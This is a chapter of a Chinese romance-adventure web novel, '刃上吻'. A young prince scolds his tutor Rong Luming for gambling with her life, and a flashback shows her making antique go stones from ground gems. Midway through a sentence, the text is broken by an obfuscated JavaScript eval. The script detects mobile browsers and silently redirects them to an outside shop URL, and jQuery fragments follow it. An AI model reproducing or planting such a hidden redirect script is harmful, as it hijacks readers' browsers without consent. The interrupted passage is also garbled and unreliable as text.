99. 她是谁?(十一)

作品:《刃上吻

    亥时了,容鹿鸣的军帐犹亮着灯烛。


    萧正则踏着月色前去,拎了壶热茶。他本想拎壶酒的,把容鹿鸣灌醉,好骗她赌咒发誓。奈何,容鹿鸣从不饮酒。


    他以为他师父容鹿鸣此时不睡,应有要事,定在处理军务。


    谁知,她老神在在地坐于书案前,只为摆弄一盘残棋。她过目不忘,摆的正是今日那大当家看的一盘。萧正则亦过目不忘,一眼便看出来了。而愈发生气!


    “老师!”


    “嗯。”容鹿鸣对他的怒意置若罔闻。提鼻子一闻,“呦,阿则带了好东西来。岩茶虽好,日日饮来也有些倦了。好久没饮这峨眉雪芽了,来,陪为师边弈棋边饮茶。”


    萧正则站着,半晌未动。今日之事一直在他脑中盘桓。那么一个危机关头,容鹿鸣竟会选择用赌术来解决问题。倘若她五把皆输,倘若那大当家未靠近她衣袖,使得她有机会以匕首胁迫之……即便容小虎带人赶来,那重伤之下血流满地的人,也可能是她。


    他这样想时,默认自己或许已死。若自己仍有一口气,断不会让人伤害她。在那样不大的年纪里,这个念头已烙印他心。


    “容鹿鸣!你这种骄傲的盲目自信到底来自何处?居然敢拿命和别人赌!”


    这不是他第一次直呼其名,先前气极,也有过一次。


    容鹿鸣倒不甚在意,一来,他是皇子,她是讲郎,他是君,她为臣。二来,缘起缘灭,生死难料,也不知能陪他走多久,除了品行及教习所学之时严苛外,她对他很是宽纵。


    闻听他如此说到,容鹿鸣那个意态骄矜:“我赌术好得很,天下无双。”


    萧正则给她气死了!若不是因为实在打不过她,他一定提了剑压在她脖子上,逼她写一份字据:保证日后绝不再做如此危险之事。


    他在心底默默揣度容鹿鸣——她真是个疯子!表面看起来一派文人风雅,骨子里却有种令人惧怕的疯狂——她甚而会笑着奔向深渊,不犹豫、不停步。她这般行事风格,自小便带给他极深的撼动。


    待到日后容鹿鸣被他设计强娶,困于宫中。她是又惊又气,想来,她自己教养出的,是个什么东西?


    容小虎知晓了事情的全貌后,反而不觉十分惊讶。萧正则骨子里也有种疯狂,同他师父容鹿鸣一样。


    此时传来一阵轻微的呻吟。萧正则这才察觉,容鹿鸣军帐之中多了道屏风。屏风后躺了个人。


    萧正则更生气了,“老师,您竟让他住在您的军帐之中!”连他都没享受过这种待遇。


    “嘘,他左眼的伤很重,应是叫人生生……”容鹿鸣说不下去了,“今晚会有些凶险,我看着他。”


    “哦。”萧正则还是老大不高兴。


    这孩子刚刚想拔剑吧,容鹿鸣暗想,笑了一笑,“怎么了,气性这么大。”


    “我差点就拔剑了,抵在您脖子上,让您写一份再不冒险的契书。”


    视线跳开棋盘,容鹿鸣上下打量他,“凭你?”


    “我早晚有一天要打败您!”


    “恩,好,我等着。”容鹿鸣接着看棋盘,打了个哈欠。


    萧正则气得直蹦。


    “嘘,蹦什么蹦。来,陪为师把这盘棋下完。”


    本来还梗着脖子的,容鹿鸣伸手拉住他,他便乖乖坐下了。


    “下棋可以,您不要教里面那个阿难下棋。”萧正则低低地说。


    容鹿鸣抬眼看了看他,无奈笑道:“好。”


    这盘棋不复杂。落子的间隙,萧正则看到棋盘边放了几沓契书。


    “老师,这难道是……”


    容鹿鸣点头,“是从那土屋里搜出来的,他们私卖奴隶的证据。”


    “您准备……”


    “不准备。”


    她回答得太快了,萧正则想:她定是已有了计划,却不想让我知道。


    他亦不动声色。虽说尚打不过师父,可他师父若想甩掉他,亦是不容易。


    心思回到棋盘之上。他在看容鹿鸣的手指。不同于京中贵女养着葱管般的指甲,她指甲常是剪得很短,但仍免不了在浸血时,染上一弯红痕。


    很好看,萧正则觉得,这些白玉、墨玉的棋子皆配不上她。他想,此番回京之后,就把那些暗地里的事都停一停,他要亲自为容鹿鸣烧一炉永子。


    永子的制法早已失传。据说,市面上仅有的几副,俱是数代之前的珍品。


    而容鹿鸣却会烧制这永子。早些年,她于她阿耶容止的书斋之内翻出册孤本,里头就记了永子的烧制方法。


    她与其兄容雅歌一样,都甚爱棋。索性东宫书斋也不去了,弘文馆也不去了,抱着孤本就去了东市最大的陶瓷作坊,月满窑。


    萧郡主颇好秘色瓷,这月满窑是她的陪嫁之一。她不时会带了容鹿鸣兄妹二人低调前来,看技艺高超的师傅们制作秘色瓷。也叫他们俩学做些简单瓷器。


    整个月满窑,从掌柜到小伙计,无一不认得他们两兄妹。


    容鹿鸣捧着本古籍哒哒跑来了,后面跟着容小虎。掌柜以为,她大约是来选个好看的茶盏带去弘文馆用。自家女公子小小年纪,不仅做了太子太傅的关门弟子,还成了弘文馆年纪最小的学子,连掌柜的都觉得与有荣焉。


    结果,听完女公子的话,他与工坊长俱是眼皮一跳,“烧制永子?可那配方已失传百年了!”


    “无妨,我这里有。”容鹿鸣拍拍手中孤本。


    “相爷的藏书,老奴哪敢妄读?”工坊长恭敬一礼。


    前面的店铺中来了大客户,伙计来催掌柜过去。


    “掌柜去忙吧。王伯,我从这孤本之中整理出几个配方,你来帮我看一看。”工坊长姓王,五十多岁,精瘦如松,眼睛里时常透出锐利的光。关于烧制瓷器,容鹿鸣从他那里学到许多。


    “相爷的秘方,老奴不过一介粗陋匠人,着实不配观瞻。”


    “皆是凭着手艺营生,何为配,何为不配?我常听老师说,正是因为各家皆治‘老庄’,老庄之学才越发瑰丽。若仅得一家可言‘老庄’,不是越来越狭隘,便是早晚会失传……这烧制永子的配方,不也是这样?”


    工坊长不禁拿眼望着容鹿鸣,心生敬意。一个女娃娃


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16654383|171898||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    竟说出这样的话。想到她的家世、才名,愿她以后得以立于朝堂,将他们苦到麻木的日子,划出一道光。


    他有些抑制不住的激动,走到容鹿鸣身边,微微颤抖着弯下腰,双手捧过容鹿鸣手中的信笺,“那便恭敬不如从命,老奴僭越了。”


    容鹿鸣的手记整理得极细致,只是需要的宝石品类及烧制火候,那孤本中有不同记录,需得入炉烧制方见分晓。


    “女公子,烧制永子需得不少宝石。”


    “我带来了。”


    容小虎把捧着的匣子放到桌案上。他是这会儿才知道,女公子朝将军要了这么些宝石,竟是用来烧制永子的……


    昨晚,他在书斋内为将军研墨。只听得女公子连蹦带跳地跑了进来。


    容雅歌搁下笔,合上军报,把容鹿鸣抱到膝盖上坐着。


    “鸣鸣来找哥哥做什么?”


    “嗯”,容鹿鸣皱眉想了想,“玛瑙、翡翠、琥珀、黄龙玉……哥哥那里可有?”


    “有,哥哥这里多得很,鸣鸣要这些做什么?”


    容鹿鸣眼珠一转,笑着不答。


    容雅歌会错了意,一时大为欣慰:女孩儿长大了,知道打扮了,真好!先前阿娘为她定做的发饰,嵌红、蓝宝石的,嵌东珠的……无一不是玩着玩着就丢在府内的园子里。反而是他随手折的一截桃花,一朵望春,可以在她鬓发间留很久。


    容雅歌问过她缘由。


    她挠挠脑瓜,“阿娘给的发饰都好沉呐,没跑几步就会飞出去。”


    “飞出去……”这得是跑得有多快,容雅歌又好笑又无奈。


    “是时候给妹妹打扮起来了。”容雅歌想。月柏轩的库房里堆满陛下的赏赐,当然随便她挑。但,似乎又有些不太够,明日再带着她去府里的大库房里挑。


    先前陛下赏给他几颗鸽蛋大小的夜明珠,他都给了容鹿鸣,随她玩儿。见过她拿来当弹珠使,容雅歌失笑,不知还能不能找回来?给她嵌个簪子也挺好的,重是重了些,可晚间若在园子里散步,亮亮的,又好看又好玩儿,她一定会喜欢。


    容小虎同他家将军一样,也会错了意,以为女公子带着他和一整匣宝石出门,定是要制几件首饰的,谁曾想……这么些成色绝佳的宝石,都要碾碎了制那什么“永子”……容小虎不太懂棋,觉得真是有些可惜。


    而更令他在意的是,跟在容鹿鸣身后,他看清了那手记上记录的内容:研成粉末的宝石,需在窑炉中经多日炼化,而后在窑炉外以滴棒蘸取,滴制在铁板上,方才算初步成型。


    那窑炉多危险呐,万一……他想去找大将军通风报信。


    “干什么去?”容小虎还未挪到门边,已被容鹿鸣叫住。


    “来,同我们一起研磨宝石。”


    “怎么办哦!”容小虎心里叫苦不迭,女公子若是有一丁点儿闪失,他可怎么向将军、容相、郡主交代哦!


    对于他的苦恼,容鹿鸣浑然不觉。太子有一副永子,阿耶也有。既然叫她知道了配方,她便要烧一副给哥哥。


    连续数日不见容鹿鸣,太子挺奇怪。